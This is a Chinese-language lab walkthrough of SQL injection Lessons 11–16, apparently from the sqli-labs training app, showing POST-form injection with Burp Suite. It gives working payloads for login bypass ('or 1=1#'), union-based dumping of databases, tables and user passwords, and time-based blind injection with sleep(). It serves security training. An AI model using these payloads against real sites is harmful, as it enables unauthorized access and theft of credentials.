Lesson 11 POST -Error Based - Single Quotes (基于错误的POST型单引号字符型注入)
(1)先输入admin和admin进行登录
sql语句为:
SELECT username, password FROM users WHERE username='admin' and password='admin' LIMIT 0,1
(2)接下来的测试我们需要使用burpsuite,因为在执行登录操作时,我们并不知道进行了怎样的传输。其实是使用了PHP中的POST传输。
A.先手动配置代理,打开burpsuite,点击”submit”,会进行抓包
里面显示了详细的信息,我们只需要最后一句话
B.将其复制,选择post data,粘贴到下面的框中。然后把burpsuite关闭即可
C.进行测试
uname=admin'&passwd=admin&submit=Submit
在admin后加一个单引号,出现错误
uname='&passwd=admin&submit=Submit
将admin删掉,只留下单引号还是有错误,说明存在注入漏洞
uname=admin' or 1=1#&passwd=admin&submit=Submit
在admin’后加上or 1=1 #,再次执行,发现登录成功
uname=' or 1=1#&passwd=admin&submit=Submit
此时,把admin去掉,发现依旧能登录成功,验证确实存在注入漏洞
(3)以username为例进行验证,使用order by语句验证列数
uname=' order by 3#&passwd=admin&submit=Submit
返回错误,显示不存在三列
uname=' order by 2#&passwd=admin&submit=Submit
虽然登录失败,但是并没有返回错误,说明是两列
(4)判断完列数后,使用union select语句进行联合查询,查看回显位置
uname=' union select 1,2#&passwd=admin&submit=Submit
回显出位置
(5)接下来就是常规的查库,查表等一系列操作
查询当前使用的数据库
uname=' union select 1,database()#&passwd=admin&submit=Submit
可以看到数据库为security
查看所有库
uname= ' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin&submit=Submit
(6)查看表
uname= ' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=admin&submit=Submit
(7)查看字段
uname= ' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit
(8)查看用户和密码信息
用户信息
uname= ' union select 1,group_concat(username) from security.users#&passwd=admin&submit=Submit
密码信息
uname= ' union select 1,group_concat(password) from security.users#&passwd=admin&submit=Submit
(9)一次性查询数据的方法
Lesson 11结束
Lesson 12 POST -Error Based - Double Quotes (基于错误的POST型双引号字符型变形注入)
(1)查询是否存在注入(将admin破坏,加上or 1=1#)
uname='or 1=1#&passwd=admin&submit=Submit
虽然没有成功登录,但是也没有返回错误
uname=" or 1=1#&passwd=admin&submit=Submit
将单引号改成双引号,发现有错误
如何判断是单引号还是双引号,可以看回显的sql语句来观察
包着admin的是双引号加一个单括号,所以就加双引号和一个单括号就行
测试成功
(2)接下来和上一课相同,不做展示,只是练习一下
Lesson 12结束
Lesson 13 POST -Double injection - Single Quotes - String - twist (POST单引号变形双注入)
(1)先进行测试
发现正常登录后,虽然有登录成功,但是并没有回显任何信息
(2)从测试可以看到,包裹着admin的是一个单引号和一个单括号。接下来直接测试即可
uname=admin') or 1=1#&passwd=admin&submit=Submit
也是什么都没有回显
(3)用union select语句进行联合查询,也不显示任何东西,这个时候就能证明是盲注,只有正确才会回显
(4)使用length()函数来猜解数据库长度
(5)使用if语句进行判断
uname=adm') or if(length(database())>1,1,sleep(5))#&passwd=admin&submit=Submit
然后进行猜测,测试数据,最后发现数据库长度为8
(6)然后判断第一个字母,使用left语句直接进行判断
uname=adm') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=admin&submit=Submit
以这种方法可以查出库的名字
剩下就是查表,查列,查数据的基本操作了,也可借用burpsuite进行爆破,这里不再进行展示
Lesson 13结束
Lesson 14 POST -Double injection - Single Quotes - String - twist (POST单引号变形双注入)
(1)先进行登录测试
uname=admin&passwd=admin&submit=Submit
只有成功登录但是并没有任何回显信息
和13关不同的是,13关包裹admin的是一个单引号和一个单括号,14关包裹admin的是双引号,其他的均相同,不做演示,只练习
Lesson 14结束
Lesson 15 POST-Blind -Boolean-Time Based - Single Quotes (基于Bool型/时间延迟的单引号POST型盲注)
(1)先测试
与13,14课差不多,只是包裹admin的符号不同,只不过这个是单引号
Lesson 15结束
Lesson 16 POST-Blind -Boolean-Time Based - Double Quotes (基于Bool型/时间延迟的双引号POST型盲注)
先测试
这关是双引号和单括号进行包裹,其他与13关相同
Lesson 16结束